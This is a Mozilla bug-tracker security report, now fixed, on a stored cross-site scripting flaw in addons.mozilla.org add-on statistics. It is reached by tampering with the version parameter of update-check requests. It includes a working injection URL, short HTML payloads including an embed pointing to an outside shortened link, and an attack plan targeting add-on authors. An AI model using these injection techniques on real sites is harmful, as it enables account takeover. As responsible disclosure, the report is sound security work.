1201558 - Cross-site scripting vulnerability via add-on version

Status: RESOLVED FIXED

(addons.mozilla.org Graveyard :: Statistics, defect)

Description

[Wladimir Palant]

Open the JavaScript Deobfuscator add-on versions statistics:

https://addons.mozilla.org/en-US/firefox/addon/javascript-deobfuscator/statistics/usage/versions/?last=30

Scroll to the right end of the table, there is version 2.0.3 listed there (there is currently no JavaScript Deobfuscator 2.0.3). If you inspect this table header you will see an empty <img> tag there. The problematic code line here is https://github.com/mozilla/olympia/blob/966195c76f7d8e40d842c3bf4d74301947f52cfa/static/js/impala/stats/table.js#L80 - it doesn't escape the data in table headers.

I opened the following URL to inject HTML code here:

> https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=2&id=[e-mail]&version=2.0.3%3Cimg%3E&maxAppVersion=43.0&status=userEnabled&appID={ec8030f7-c20a-464f-9b0e-13a3a9e97384}&appVersion=40.0&appOS=Darwin&appABI=x86_64-gcc3&locale=en-US&currentAppVersion=40.0&updateType=112&compatMode=normal

This is a normal update check, merely the version parameter has been messed with. It's hard to reproduce the environment used to process AMO logs so I had to test against production - that's why I didn't bother going beyond a simple <img> tag and didn't really test the processing for the other fields either.

If I understand https://github.com/mozilla-metrics/Log-Processing-ETL/blob/0c5b328fc3b0042baef0c4409a426d1536f3dc54/etl/amo/parse_amo_versioncheck_requests.ktr#L456 correctly, the log processing doesn't apply any restrictions on the add-on version number beyond limiting it to 25 characters (before reversing URL encoding). Getting a malicious payload into 25 characters is hard but I wouldn't consider it impossible. At the very least, version=<style>*{display:none} is definitely possible, it will make the statistics unusable for some add-ons. version=<embed src=//bit.ly/1hXiSgS> is a bit too long but getting rid of three characters should be possible (by registering dxszw.us if nothing else works).

Comment 1

[Wladimir Palant]

Interesting, persistent XSS isn't really what https://wiki.mozilla.org/WebAppSec/Web_App_Severity_Ratings lists as sec-moderate.

Comment 2

[Daniel Veditz [:dveditz]]

...especially not on AMO. Yes, users don't often open those pages, but since what you'd want out of an attack is an editor or author account it'd be targeted and you can easily force someone to that page.

Comment 3

[Wladimir Palant]

If I were to exploit it, I would simply infect the stats for a few hundred of the top add-ons and see who shows up - that's trivial and you are guaranteed to catch a bunch of add-on authors within short time (more if you are willing to wait). It's not like this kind of attack would show up on anybody's radar...

Comment 4

[Daniel Veditz [:dveditz]]

Andy: please assign someone to fix this XSS bug.

Comment 5

[Andy McKay]

https://github.com/mozilla/olympia-security/pull/17/files will be merged on Thursday just before the prod push. Assigning to muffinresearch who is on push duty this week so we remember to merge it.

Comment 6

[Andy McKay]

https://github.com/mozilla/olympia/commit/45f59a792d77adecc4e6b6e62d3c4b60e8cc07be

Comment 7

[Wladimir Palant]

This should be public I think.